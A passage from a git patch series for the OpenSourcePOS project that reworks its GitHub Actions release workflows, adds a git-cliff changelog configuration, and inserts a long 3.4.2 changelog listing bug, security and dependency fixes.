+ tag + optional bump) - cliff.toml: git-cliff config (commit.author.name, Weblate/version-bump excluded) - release.yml: replaces the 'Release Version Bump' workflow with a single workflow that cuts the current release (changelog + tag + draft release) and optionally bumps App.php to the next dev version - build-release.yml: add official-release job (draft GitHub Release with changelog + assets, triggered by tag push) Supersedes the 'changelog only' scope: this now also handles tagging, draft release, and the version bump in one place. * fix(release): fail fast when a tag does not match the App.php version Catches a manually-pushed mismatched tag before building, so a draft release is never created without its archive. * fix(release): move env block to step level (was inside run shell script) The env: key was dedented into the run: | literal block, so the shell would try to execute 'env:' as a command and abort the build. --- .github/workflows/build-release.yml | 90 +++++++++- .github/workflows/release.yml | 262 +++++++++++++--------------- cliff.toml | 28 +++ 3 files changed, 240 insertions(+), 140 deletions(-) create mode 100644 cliff.toml diff --git a/.github/workflows/build-release.yml b/.github/workflows/build-release.yml index 6f8efe6e6..2aa1e3b96 100644 --- a/.github/workflows/build-release.yml +++ b/.github/workflows/build-release.yml @@ -90,6 +90,18 @@ jobs: env: GITHUB_TAG: ${{ github.ref_name }} + - name: Validate release tag + if: startsWith(github.ref, 'refs/tags/') + run: | + # The ZIP below is named from App.php, while the draft-release job + # globs by the tag name. A manually-pushed tag that does not match + # App.php would silently produce a draft release with no archive, so + # fail fast instead. + if [ "${GITHUB_REF_NAME}" != "${{ steps.version.outputs.version }}" ]; then + echo "::error::tag ${GITHUB_REF_NAME} does not match App.php version ${{ steps.version.outputs.version }}" + exit 1 + fi + - name: Create .env file run: | cp .env.example .env @@ -184,8 +196,8 @@ jobs: push: true tags: ${{ steps.tags.outputs.tags }} - release: - name: Create Release + unstable-release: + name: Create Unstable Release needs: build runs-on: ubuntu-22.04 if: github.event_name == 'push' && github.ref == 'refs/heads/master' @@ -225,3 +237,77 @@ jobs: draft: false env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + + official-release: + name: Create Official Release (Draft) + needs: [build, docker] + runs-on: ubuntu-22.04 + if: github.event_name == 'push' && startsWith(github.ref, 'refs/tags/') + permissions: + contents: write + + steps: + - name: Checkout + uses: actions/checkout@v4 + with: + fetch-depth: 0 + + - name: Download build artifacts + uses: actions/download-artifact@v4 + with: + name: dist-${{ needs.build.outputs.short-sha }} + path: dist/ + + - name: Build release notes + run: | + VERSION="${GITHUB_REF_NAME}" + # Extract this version's changelog section (header + entries) from CHANGELOG.md. + SECTION=$(awk -v v="$VERSION" ' + $0 ~ "^## \\[" v "\\] - " {insec=1; print; next} + insec && $0 ~ "^## \\[" {insec=0; next} + insec {print} + ' CHANGELOG.md) + if [ -z "$SECTION" ]; then + echo "WARNING: no changelog section found for $VERSION" + SECTION="Changelog section for ${VERSION} is not present in CHANGELOG.md." + fi + { + echo "## Upgrade instructions" + echo "" + echo "**Docker:**" + echo "" + echo '```bash' + echo "docker pull ${{ secrets.DOCKER_USERNAME }}/opensourcepos:${VERSION}" + echo "docker compose -f docker-compose.nginx.yml up -d" + echo '```' + echo "" + echo "**Existing installation:** download one of the archives below, extract it over your current install, and run any new database migrations." + echo "" + echo "---" + echo "" + echo "$SECTION" + } > /tmp/release_notes.md + echo "=== release notes (first 12 lines) ===" + head -12 /tmp/release_notes.md + env: + GITHUB_REF_NAME: ${{ github.ref_name }} + + - name: Create draft release + run: | + VERSION="${GITHUB_REF_NAME}" + ZIP=$(ls dist/opensourcepos."${VERSION}".*.zip 2>/dev/null | head -1) + if [ -n "$ZIP" ]; then + gh release create "$VERSION" \ + --draft \ + --title "OpenSourcePOS ${VERSION}" \ + --notes-file /tmp/release_notes.md \ + "$ZIP" + else + gh release create "$VERSION" \ + --draft \ + --title "OpenSourcePOS ${VERSION}" \ + --notes-file /tmp/release_notes.md + fi + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + GITHUB_REF_NAME: ${{ github.ref_name }} diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index de5582582..a147ab67e 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -1,24 +1,40 @@ -name: Release Version Bump +name: Release + +# Cuts the current release (changelog + tag + draft release) and, optionally, +# bumps App.php to the next dev version. One workflow, full release cycle. +# +# Flow: +# 1. Release current version: +# - generate git-cliff changelog section (base..HEAD) +# - insert it into CHANGELOG.md + GFM compare refs +# - commit + push the changelog +# - tag the current version and push the tag with the repo PAT +# (a PAT push triggers build-release.yml, whose official-release job +# creates the DRAFT GitHub Release with the changelog + assets) +# 2. (optional) bump to the next dev version: +# - update App.php / package.json / docker-compose / issue templates +# - commit + push on: workflow_dispatch: inputs: - version_type: - description: 'Version bump type' + next_bump: + description: 'After cutting this release, bump App.php to the next dev version' required: true type: choice options: + - patch - minor - major - - patch - default: 'minor' + - skip + default: 'patch' permissions: contents: write jobs: - prepare-release: - name: Prepare Release + release: + name: Cut release and bump next version runs-on: ubuntu-22.04 steps: @@ -28,145 +44,115 @@ jobs: fetch-depth: 0 token: ${{ secrets.GITHUB_TOKEN }} - - name: Get current version - id: current_version + - name: Install git-cliff run: | - CURRENT_VERSION=$(grep "application_version" app/Config/App.php | sed "s/.*= '\(.*\)';/\1/g") - echo "current_version=$CURRENT_VERSION" >> $GITHUB_OUTPUT - echo "Current version: $CURRENT_VERSION" + V=2.14.2 + curl -sLSfL "https://github.com/orhun/git-cliff/releases/download/v${V}/git-cliff-${V}-x86_64-unknown-linux-musl.tar.gz" -o /tmp/cliff.tar.gz + tar xzf /tmp/cliff.tar.gz -C /tmp + mv "/tmp/git-cliff-${V}/git-cliff" /usr/local/bin/git-cliff + chmod +x /usr/local/bin/git-cliff + git cliff --version - - name: Calculate new version + - name: Determine version id: version run: | - CURRENT_VERSION="${{ steps.current_version.outputs.current_version }}" - VERSION_TYPE="${{ github.event.inputs.version_type }}" - - # Parse current version - MAJOR=$(echo $CURRENT_VERSION | cut -d. -f1) - MINOR=$(echo $CURRENT_VERSION | cut -d. -f2) - PATCH=$(echo $CURRENT_VERSION | cut -d. -f3) - - # Bump version based on type - case $VERSION_TYPE in - major) - MAJOR=$((MAJOR + 1)) - MINOR=0 - PATCH=0 - ;; - minor) - MINOR=$((MINOR + 1)) - PATCH=0 - ;; - patch) - PATCH=$((PATCH + 1)) - ;; - esac - - NEW_VERSION="${MAJOR}.${MINOR}.${PATCH}" - echo "new_version=$NEW_VERSION" >> $GITHUB_OUTPUT - echo "previous_version=$CURRENT_VERSION" >> $GITHUB_OUTPUT - echo "New version: $NEW_VERSION (was: $CURRENT_VERSION, type: $VERSION_TYPE)" - - - name: Update version in App.php - run: | - NEW_VERSION="${{ steps.version.outputs.new_version }}" - sed -i "s/public string \\\$application_version = '[^']*';/public string \\\$application_version = '$NEW_VERSION';/" app/Config/App.php - echo "Updated app/Config/App.php" - - - name: Update version in package.json - run: | - NEW_VERSION="${{ steps.version.outputs.new_version }}" - sed -i "s/\"version\": \"[^\"]*\",/\"version\": \"$NEW_VERSION\",/" package.json - echo "Updated package.json" - - - name: Update version in docker-compose.nginx.yml - run: | - NEW_VERSION="${{ steps.version.outputs.new_version }}" - sed -i "s/jekkos\/opensourcepos:[^ ]*/jekkos\/opensourcepos:$NEW_VERSION/" docker-compose.nginx.yml - echo "Updated docker-compose.nginx.yml" - - - name: Update version in README.md - run: | - NEW_VERSION="${{ steps.version.outputs.new_version }}" - # Extract major.minor for the "latest X.Y version" text - MAJOR_MINOR=$(echo "$NEW_VERSION" | cut -d. -f1,2) - sed -i "s/The latest \`[0-9]*\.[0-9]*\` version/The latest \`${MAJOR_MINOR}\` version/" README.md - echo "Updated README.md with version ${MAJOR_MINOR}" - - - name: Generate changelog - id: changelog - run: | - PREVIOUS_VERSION="${{ steps.version.outputs.previous_version }}" - NEW_VERSION="${{ steps.version.outputs.new_version }}" - - # Get commits since last version - if git rev-parse "$PREVIOUS_VERSION" >/dev/null 2>&1; then - COMMITS=$(git log "$PREVIOUS_VERSION"..HEAD --pretty=format:"- %s" --no-merges) - else - COMMITS=$(git log --pretty=format:"- %s" --no-merges -50) + APP_VERSION=$(grep "application_version" app/Config/App.php | sed "s/.*= '\(.*\)';/\1/g") + TARGET="$APP_VERSION" + if ! [[ "$TARGET" =~ ^[0-9]+\.[0-9]+\.[0-9]+$ ]]; then + echo "ERROR: target '$TARGET' is not in X.Y.Z form"; exit 1 fi - - # Create changelog entry - CHANGELOG_FILE="CHANGELOG.md" - - # Create the new version comparison link - NEW_LINK="[${NEW_VERSION}]: https://github.com/opensourcepos/opensourcepos/compare/${PREVIOUS_VERSION}...${NEW_VERSION}" - - # Insert new link after [unreleased] line - sed -i "/^\[unreleased\]/a $NEW_LINK" "$CHANGELOG_FILE" - - # Update [unreleased] link to start from new version - sed -i "s|^\[unreleased\]: .*|\[unreleased\]: https://github.com/opensourcepos/opensourcepos/compare/${NEW_VERSION}...HEAD|" "$CHANGELOG_FILE" - - # Create version header and content using temp file to avoid sed issues with special characters - VERSION_DATE=$(date +%Y-%m-%d) - VERSION_HEADER="## [$NEW_VERSION] - $VERSION_DATE" - - # Create temp file with changelog entry - TMP_FILE=$(mktemp) - { - echo "" - echo "$VERSION_HEADER" - echo "" - echo "$COMMITS" - } > "$TMP_FILE" - - # Insert after Unreleased header - sed -i "/^## \[Unreleased\]/r $TMP_FILE" "$CHANGELOG_FILE" - rm "$TMP_FILE" - - echo "Updated CHANGELOG.md" - echo "Changelog entries:" - echo "$COMMITS" + BASE=$(git tag --list | grep -E '^[0-9]+\.[0-9]+\.[0-9]+$' | sort -V | tail -1) + if [ -z "$BASE" ]; then + echo "ERROR: no previous release tag found"; exit 1 + fi + if [ "$BASE" = "$TARGET" ]; then + echo "ERROR: target $TARGET equals base $BASE; nothing to release"; exit 1 + fi + if ! printf '%s\n%s\n' "$BASE" "$TARGET" | sort -VC 2>/dev/null; then + echo "ERROR: target $TARGET is not greater than base $BASE"; exit 1 + fi + echo "target=$TARGET" >> "$GITHUB_OUTPUT" + echo "base=$BASE" >> "$GITHUB_OUTPUT" + echo "Releasing $TARGET (previous release: $BASE)" - - name: Update version in issue templates + - name: Generate changelog section run: | - NEW_VERSION="${{ steps.version.outputs.new_version }}" - - # Calculate version to remove (keep 5 versions) - PREVIOUS_VERSION="${{ steps.version.outputs.previous_version }}" - - # Bug report template - insert new version after development (unreleased) - BUG_TEMPLATE=".github/ISSUE_TEMPLATE/bug report.yml" - sed -i "/- development (unreleased)/a\\ - OpenSourcePOS ${NEW_VERSION}" "$BUG_TEMPLATE" - # Remove the oldest version (5th version from the end) - sed -i "/OpenSourcePOS 3\\.3\\.7/d" "$BUG_TEMPLATE" - echo "Updated $BUG_TEMPLATE" - - # Feature request template - insert new version after development (unreleased) - FEATURE_TEMPLATE=".github/ISSUE_TEMPLATE/feature_request.yml" - sed -i "/- development (unreleased)/a\\ - OpenSourcePOS ${NEW_VERSION}" "$FEATURE_TEMPLATE" - # Remove the oldest version (5th version from the end) - sed -i "/OpenSourcePOS 3\\.3\\.7/d" "$FEATURE_TEMPLATE" - echo "Updated $FEATURE_TEMPLATE" + git cliff --config cliff.toml \ + --tag "${{ steps.version.outputs.target }}" \ + --output /tmp/section.md \ + "${{ steps.version.outputs.base }}..HEAD" + sed -i '/./,$!d' /tmp/section.md + echo "Generated $(grep -c '^- ' /tmp/section.md) entries" + echo "=== first 5 ===" + head -5 /tmp/section.md - - name: Commit version bump + - name: Insert into CHANGELOG.md + run: | + TARGET="${{ steps.version.outputs.target }}" + BASE="${{ steps.version.outputs.base }}" + sed -i "/^\[unreleased\]:/a [${TARGET}]: https://github.com/opensourcepos/opensourcepos/compare/${BASE}...${TARGET}" CHANGELOG.md + sed -i "s|^\[unreleased\]:.*|\[unreleased\]: https://github.com/opensourcepos/opensourcepos/compare/${TARGET}...HEAD|" CHANGELOG.md + LINE=$(grep -nE '^## \[[0-9]+\.' CHANGELOG.md | head -1 | cut -d: -f1) + printf '%s\n\n' "$(cat /tmp/section.md)" > /tmp/section_final.md + sed -i "$((LINE-1))r /tmp/section_final.md" CHANGELOG.md + echo "Inserted $TARGET section before line $LINE" + + - name: Commit changelog run: | git config user.name "github-actions[bot]" git config user.email "github-actions[bot]@users.noreply.github.com" - - NEW_VERSION="${{ steps.version.outputs.new_version }}" - - git add app/Config/App.php package.json docker-compose.nginx.yml CHANGELOG.md README.md .github/ISSUE_TEMPLATE/ - git commit -m "chore: release version $NEW_VERSION" - git push origin HEAD \ No newline at end of file + git add CHANGELOG.md + git commit -m "docs: add ${{ steps.version.outputs.target }} changelog" + git push origin HEAD + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + + - name: Tag and push (PAT triggers build-release.yml) + run: | + TAG="${{ steps.version.outputs.target }}" + git tag "$TAG" + # Push with the repo PAT (not GITHUB_TOKEN) so the tag-push event + # triggers build-release.yml, whose official-release job creates the + # draft release with the changelog and assets. + git push "https://x-access-token:${RELEASE_PAT}@github.com/opensourcepos/opensourcepos.git" "refs/tags/$TAG" + echo "Released $TAG — draft release will be created by build-release.yml" + env: + RELEASE_PAT: ${{ secrets.TOKEN }} + + - name: Bump to next dev version (optional) + if: ${{ inputs.next_bump != 'skip' }} + run: | + CURRENT="${{ steps.version.outputs.target }}" + MAJOR=$(echo "$CURRENT" | cut -d. -f1) + MINOR=$(echo "$CURRENT" | cut -d. -f2) + PATCH=$(echo "$CURRENT" | cut -d. -f3) + case "${{ inputs.next_bump }}" in + major) MAJOR=$((MAJOR + 1)); MINOR=0; PATCH=0 ;; + minor) MINOR=$((MINOR + 1)); PATCH=0 ;; + patch) PATCH=$((PATCH + 1)) ;; + *) echo "ERROR: unknown bump type ${{ inputs.next_bump }}"; exit 1 ;; + esac + NEXT="${MAJOR}.${MINOR}.${PATCH}" + echo "Bumping to next dev version $NEXT" + + sed -i "s/public string \\\$application_version = '[^']*';/public string \\\$application_version = '$NEXT';/" app/Config/App.php + sed -i "s/\"version\": \"[^\"]*\",/\"version\": \"$NEXT\",/" package.json + # Update the "latest X.Y version" README line only when major.minor changes + NEW_MM=$(echo "$NEXT" | cut -d. -f1,2) + OLD_MM=$(echo "$CURRENT" | cut -d. -f1,2) + if [ "$NEW_MM" != "$OLD_MM" ]; then + sed -i "s/The latest \`[0-9]*\.[0-9]*\` version/The latest \`${NEW_MM}\` version/" README.md + fi + + echo "=== version refs after bump ===" + grep "application_version" app/Config/App.php + grep '"version"' package.json | head -1 + + git config user.name "github-actions[bot]" + git config user.email "github-actions[bot]@users.noreply.github.com" + git add app/Config/App.php package.json + [ "$NEW_MM" != "$OLD_MM" ] && git add README.md + git commit -m "chore: bump version to $NEXT" + git push origin HEAD + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/cliff.toml b/cliff.toml new file mode 100644 index 000000000..6e4bbb8ad --- /dev/null +++ b/cliff.toml @@ -0,0 +1,28 @@ +[changelog] +header = "" +header_marker = "" +body = """ +{% if version %}\ +## [{{ version | trim_start_matches(pat='v') }}] - {{ timestamp | date(format='%Y-%m-%d') }} +{% else %}\ +## [unreleased] +{% endif %}\ +{% for commit in commits %}- {{ commit.message }} by @{{ commit.author.name }} +{% endfor %} +""" +trim = true +render_always = true +footer = "" + +[git] +sort_commits = "oldest" +conventional_commits = false +filter_unconventional = false +ignore_tags = "unstable|master\\." +commit_preprocessors = [ + { pattern = "\\n[\\s\\S]*", replace = "" }, +] +commit_parsers = [ + { message = "^Translated using Weblate", skip = true }, + { message = "^Set release version", skip = true }, +] From e298b6d82e70a9964c4a62bd1389f93fcb9e6897 Mon Sep 17 00:00:00 2001 From: jekkos Date: Thu, 24 Sep 2026 20:51:23 +0000 Subject: [PATCH 12/31] fix(release): push changelog/bump to master via admin PAT (GITHUB_TOKEN blocked by branch protection) --- .github/workflows/release.yml | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index a147ab67e..939dca9a8 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -42,7 +42,10 @@ jobs: uses: actions/checkout@v4 with: fetch-depth: 0 - token: ${{ secrets.GITHUB_TOKEN }} + # Use the repo PAT (an admin token) so the changelog + bump pushes + # below can update the protected master branch (enforce_admins is off). + # GITHUB_TOKEN cannot, because master requires a PR review. + token: ${{ secrets.TOKEN }} - name: Install git-cliff run: | @@ -104,8 +107,6 @@ jobs: git add CHANGELOG.md git commit -m "docs: add ${{ steps.version.outputs.target }} changelog" git push origin HEAD - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - name: Tag and push (PAT triggers build-release.yml) run: | @@ -154,5 +155,3 @@ jobs: [ "$NEW_MM" != "$OLD_MM" ] && git add README.md git commit -m "chore: bump version to $NEXT" git push origin HEAD - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} From bcb91a5b25b4723dac8c45bf679f657e451b29ea Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 24 Sep 2026 20:52:00 +0000 Subject: [PATCH 13/31] docs: add 3.4.2 changelog --- CHANGELOG.md | 232 ++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 231 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 407c8b711..aef9932b9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,4 +1,5 @@ -[unreleased]: https://github.com/opensourcepos/opensourcepos/compare/3.4.1...HEAD +[unreleased]: https://github.com/opensourcepos/opensourcepos/compare/3.4.2...HEAD +[3.4.2]: https://github.com/opensourcepos/opensourcepos/compare/3.4.1...3.4.2 [3.4.1]: https://github.com/opensourcepos/opensourcepos/compare/3.4.0...3.4.1 [3.4.0]: https://github.com/opensourcepos/opensourcepos/compare/3.3.9...3.4.0 [3.3.9]: https://github.com/opensourcepos/opensourcepos/compare/3.3.8...3.3.9 @@ -33,6 +34,235 @@ All notable changes to this project will be documented in this file. ## [Unreleased] +## [3.4.2] - 2026-09-24 +- Fix writable folder permission check (#4270) (#4273) by @jekkos +- Extended payment delete fix (#4274) by @jekkos +- Upgrade github workflow (#3708) (#4280) by @jekkos +- Fix typo in writeable (#4270) by @jekkos +- Fix migration 20250522000000 (#4284) by @jekkos +- Upgrade to ci 4.6.2 (#4296) (#4298) by @jekkos +- Fix barcode generation in items (#4270) by @jekkos +- Allow empty tax category id (#4285) (#4288) by @jekkos +- Fix security incident email address (#4298) by @jekkos +- Fix item kits update (#4294) by @jekkos +- Revert toast message sanitization (#4302) by @jekkos +- Fix for suspended sales (#4283) (#4303) by @jekkos +- Fix reference to uploads folder (#4270) (#4286) by @jekkos +- Add generic try/catch in import (#4302) by @jekkos +- Bump jspdf from 3.0.1 to 3.0.2 (#4309) by @dependabot[bot] +- Fix mount path for uploads (#4308) by @jekkos +- Add transactions to missing config keys migration. (#4318) by @Joe Williams +- [Feature] Add logging to migrations (#4327) by @Joe Williams +- Clean up docker compose setup (#4308) by @jekkos +- Fix tax configuration pages (#4331) by @jekkos +- Update SECURITY.md contact (#4335) by @jekkos +- Add server side validation for password (#4335) by @jekkos +- Add env variable to disallow pwd change (#4325) by @jekkos +- Add recent releases to issue template (#4317) by @jekkos +- Add DOMpurify + fix XSS (#4341) by @jekkos +- Fix attachment cid (#4314) by @jekkos +- Add DOMPurify to JS includes (#4341) by @jekkos +- Allow anonymous giftcard creation (#4278) by @jekkos +- Fix toast notifications in config (#4341) (#4343) by @jekkos +- Fix creation of date attribute value (#4310) (#4344) by @jekkos +- Fix wrong migration script location (#4285) by @jekkos +- Escape return_policy in receipt + invoice (#4349) by @jekkos +- Fix for detailed suppliers report (#4351) by @jekkos +- Add show/hide cost price & profit feature - in reports #4130 (#4350) by @BhojKamal +- Fix travis build after merge (#4130) by @jekkos +- Add equals as permitted URI character (#4329) by @Chathura Dilushanka +- Fix multiple XSS vulnerabilities (#3965) (#4356) by @jekkos +- Bump lodash from 4.17.21 to 4.17.23 (#4369) by @dependabot[bot] +- Bump jspdf and jspdf-autotable (#4373) by @dependabot[bot] +- Fix XSS vulnerabilities in invoices + receipts (#3965) (#4363) by @jekkos +- Fix XSS vulnerability in attributes (#3965) by @jekkos +- Fix XSS vulnerability in register (#3965) by @jekkos +- Fix XSS vulnerability in register (#3965) by @jekkos +- Fix XSS vulnerabilities in invoice_email.php view by @jekkos +- Fix permission bypass in Reports submodule access control (#4389) by @jekkos +- Use Content-Type application/json for AJAX responses (#4357) by @jekkos +- Language Array Key Typo Fix (#4371) by @Lucas Lyimo +- Fix: Refresh session language for employee after update. (#4245) by @jekkos +- Fix Docker image upload by replacing slashes in TAG by @jekkos +- Fix broken object-level authorization in Employees controller (CVE-worthy) (#4391) by @jekkos +- Bump dompurify from 3.3.1 to 3.3.2 (#4402) by @dependabot[bot] +- Fix incorrect argument types in migration round_number() methods (#4403) by @jekkos +- dd validation for invalid stock locations in CSV import (#4399) by @jekkos +- fix(security): whitelist and validate invoice template types (#4393) by @jekkos +- Fix second-order SQL injection in currency_symbol config (#4390) by @jekkos +- Add row-level authorization to password change endpoints (#4401) by @jekkos +- Fix: Handle image filenames with spaces in thumbnails by @jekkos +- Fix: Sanitize image filenames to prevent thumbnail display issues (#4372) by @jekkos +- Add migration to fix existing image filenames with spaces (#4372) by @jekkos +- Refactor: Move ADMIN_MODULES to constants, rename methods to camelCase by @jekkos +- Fix SQL injection in custom attribute search by @Ollama +- Fix stored XSS vulnerability in item descriptions by @Ollama +- Fix stored XSS vulnerabilities in employee permissions and customer data by @Ollama +- Fix: Preserve CHECKBOX attribute state when adding attributes (#4385) by @jekkos +- Fix payment type becoming null when editing sales by @Ollama +- Fix broken SQL injection fix - use havingLike() instead of having() with named params by @Ollama +- Fix mass assignment vulnerability in bulk edit (GHSA-49mq-h2g4-grr9) by @Ollama +- Sync language files (#3468) by @Ollama +- Add workflow to auto-update issue templates with releases by @Ollama +- Update SECURITY.md with published security advisories by @Ollama +- Bump jspdf from 4.1.0 to 4.2.0 (#4383) by @dependabot[bot] +- Add filter persistence for table views via URL query string (#4400) by @jekkos +- Fix filter persistence javascript issues (#4400) by @jekkos +- Fix PHPUnit test configuration for database connectivity (#4430) by @jekkos +- Fix IDOR vulnerability in password change (GHSA-mcc2-8rp2-q6ch) (#4427) by @jekkos +- Fix XSS vulnerability in tax invoice view (#4432) by @jekkos +- Fix permission bypass in Sales.getManage() access control (#4428) by @jekkos +- Update SECURITY.md with published security advisories (#4431) by @jekkos +- Fix SQL injection in suggestions column configuration (#4421) by @jekkos +- Fix PHPUnit environment variables not being set (#4434) by @jekkos +- Fix DECIMAL attribute not respecting locale format (#4422) by @jekkos +- Fix stored XSS vulnerability in Attribute Definitions (GHSA-rvfg-ww4r-rwqf) (#4429) by @jekkos +- Fix: Host Header Injection vulnerability (GHSA-jchf-7hr6-h4f3) by @Ollama +- Fix stored XSS in gcaptcha_site_key on login page by @Ollama +- Fix stored XSS via stock location name by @Ollama +- Fix Token_lib::render() for PHP 8.4 compatibility by @Ollama +- Use CIUnitTestCase for consistency with other tests by @Ollama +- Fix: Pass parameter to generate() and add composite format tests by @Ollama +- Fix strftime directives handling and tighten test assertions by @Ollama +- Add AGENTS.md with coding guidelines for AI agents by @Ollama +- Fix: Add Debit Card filter to Daily Sales and Takings by @Ollama +- Fix Taxes Summary Report totals not matching row values by @Ollama +- Add unit tests for Taxes Summary Report calculations by @Ollama +- Fix rounding consistency and update tests per review feedback by @Ollama +- Rewrite tests to use database integration testing by @Ollama +- Add seed data to tests for proper integration testing by @Ollama +- Fix: Restrict employee selection in expenses and receivings forms by @Ollama +- Fix review comments: remove redundant loop and add XSS escaping by @Ollama +- Bump jspdf from 4.2.0 to 4.2.1 by @dependabot[bot] +- Bump picomatch from 2.3.1 to 2.3.2 (#4451) by @dependabot[bot] +- fix: Clear sale session after completing sale by @Ollama +- fix: Remove redundant clear_mode() calls by @Ollama +- Translate missing strings in multiple languages by @Ollama +- Fix translation issues from code review by @Ollama +- Remove English fallbacks from non-English translations by @Ollama +- Add Calendar.php translations for missing languages by @Ollama +- feat: migrate CI from Travis to GitHub Actions with enhancements by @Ollama +- refactor: remove tables.sql and constraints.sql (#4447) by @Ollama +- refactor: remove build-database gulp task (#4447) by @Ollama +- refactor: optimize Docker image size by @Ollama +- fix: remove duplicate phpunit.xml that prevented tests from running by @Ollama +- fix: Use file-based session until database is migrated by @Ollama +- feat: Improve migration UX on login page by @Ollama +- Disable opencode workflow + run docker build by @jekkos +- Fix negative price/quantity/discount validation (GHSA-wv3j-pp8r-7q43) (#4450) by @Nozomu Sasaki (Paul) +- fix(ci): replace / with _ in branch names for Docker tags by @Ollama +- fix(security): prevent command injection in sendmail path configuration by @Ollama +- fix(security): prevent SQL injection in tax controller sort columns by @Ollama +- feat: add release workflow with automated version bumping by @Ollama +- refactor: simplify release workflow to version bump only by @Ollama +- fix: address review comments by @Ollama +- fix: address all review comments and restore issue template version update by @Ollama +- fix: Tax Rate form not loading due to router service failure (#4479) by @jekkos +- fix: Handle empty database on fresh install (#4467) by @jekkos +- Fix: Improve allowedHostnames .env configuration and fail-fast in production (#4482) by @jekkos +- [Feature]: Case-sensitive attribute updates and CSV Import attribute deletion capability (#4384) by @objecttothis +- fix: change docker image tag to master by @jekkos +- Update to CodeIgniter 4.7.2 (#4485) by @objecttothis +- Bump lodash from 4.17.23 to 4.18.1 (#4462) by @dependabot[bot] +- [Fix]: Add missing return statements to Sales Controller functions by @Ollama +- Encourage users to star the project by @objecttothis +- Bump dompurify from 3.3.2 to 3.4.0 (#4512) by @dependabot[bot] +- fix: propagate attribute definition failures in postSaveGeneral() (#4509) by @jekkos +- fix: Escape dynamic output and fix CSS property in barcode_sheet.php (#4501) by @jekkos +- Fix CRC currency reverting to EUR/LAK in locale config (#4511) by @jekkos +- fix: Add missing $img_tag variable in Sales::getSendPdf() (#4515) by @jekkos +- fix: Language dropdown not displaying saved language correctly (#4518) by @jekkos +- fix: Scope orWhere clauses in Item::exists() and Item::get_item_id() (#4520) by @jekkos +- fix: Update calendar translations (#4498) by @jekkos +- fix: Catch mysqli_sql_exception in DB fallback handlers for fresh Docker installs (#4525) by @jekkos +- fix(home): improve internal data type handling for user identification in auth process by @enricodelarosa +- Assignable Keyboard Shortcuts Updates (#4532) by @WShells +- chore: miscellaneous updates and improvements (#4530) by @BudsieBuds +- chore(deps): bump minimatch from 3.1.2 to 3.1.5 (#4536) by @dependabot[bot] +- chore: sync project files to match upstream templates (#4537) by @BudsieBuds +- fix(ci): include hidden files in Docker build context (#4543) by @jekkos +- feat: add ALLOWED_HOSTNAMES environment variable support for Docker/Compose (#4544) by @jekkos +- fix(docker): correct permissions and fix migration barcode_type error (#4546) by @jekkos +- docs: Update SECURITY.md with disclosure process (#4549) by @jekkos +- feat: Bank transfer and wallet payment option added #4540 (#4547) by @BhojKamal +- fix(security): Path traversal vulnerability in getPicThumb (#4545) by @jekkos +- fix(security): SQL injection and path traversal vulnerabilities (#4539) by @jekkos +- fix: Capture CSV import failures in save_tax_data and save_inventory_quantities (#4507) by @jekkos +- fix: validate attributeId > 0 in saveAttributeLink() (#4508) by @jekkos +- feat: Add deployment workflow with approval gates (#4522) by @jekkos +- Bugfixes to get Migration working on MySQL and MariaDB (#4551) by @objecttothis +- Bugfix: Sale search in register not handling trailing space properly (#4557) by @objecttothis +- fix: cast string returns to int in MY_Migration (#4560) by @jekkos +- Add fallback for allowedHostnames environment variable (#4565) by @objecttothis +- fix: Allow searching by Sale ID in Takings/Daily Sales view (#4569) by @jekkos +- Add Guards to Database Migration (#4571) by @objecttothis +- fix: tax rate inputs blank with comma-decimal locales (#4555) by @jekkos +- fix(security): Fix DOMPDF RCE and customer email sanitization (#4568) by @jekkos +- Fix overly lenient date validation (#4574) by @objecttothis +- fix(security): Escape attribute value in register by @jekkos +- chore(deps): bump dompurify from 3.4.0 to 3.4.11 (#4578) by @dependabot[bot] +- Bugfix: Fix problems with migration UI in login (#4589) by @objecttothis +- Forgotten commit from login migration branch (#4592) by @objecttothis +- Feature: Payment reference code (#4587) by @objecttothis +- fix(giftcard): correct return type and rename getGiftcardId method (#4600) by @objecttothis +- chore(deps): bump dompurify from 3.4.11 to 3.4.12 (#4602) by @dependabot[bot] +- bugfix(reports): crash on detailed sales report when sale has multiple payments with reference codes (#4599) by @objecttothis +- style(models): normalize quote style in SQL GROUP_CONCAT expression (#4608) by @objecttothis +- chore(deps): upgrade dompdf from v2.0.8 to v3.1.6 (#4610) by @objecttothis +- chore(deps): bump brace-expansion (#4614) by @dependabot[bot] +- chore(deps): add xlsx via SheetJS CDN and upgrade tableexport plugin (#4615) by @objecttothis +- chore(deps): bump lodash.template from 4.5.0 to 4.18.1 (#4616) by @objecttothis +- fix(login): skip auth validation on new install to allow migration (#4609) by @objecttothis +- fix: Wrap postSave() in single transaction for atomicity (#4506) by @jekkos +- refactor: Replace var with let/const in JavaScript files (#4503) by @jekkos +- fix: get_definition_by_name() returns single row instead of multi-dimensional array (#4452) (#4464) by @Jonathan Chang +- fix(config): validate theme param to prevent XSS via invalid theme (#4620) by @objecttothis +- fix(sales): enforce server-side authorization for price changes (#4631) by @objecttothis +- fix(sales): escape quote number in email template to prevent XSS (#4625) by @objecttothis +- refactor(migrations): rename execute_script to executeScript across all migrations (#4611) by @objecttothis +- fix(auth): validate gcaptcha before password to prevent bypass (#4618) by @objecttothis +- refactor: apply PSR-12 naming to Attribute definition methods (#4624) by @Rayan Abdul Cader +- fix(security): sanitize filenames and escape logo path in config (#4630) by @objecttothis +- fix: use db_connect() for item save transactions (#4636) by @richardmilles +- fix(xss): remove redundant escaping that double-encoded item attribute values (#4628) by @objecttothis +- chore(deps): bump codeigniter4/framework from 4.7.2 to 4.7.4 (#4638) by @dependabot[bot] +- chore(deps): bump 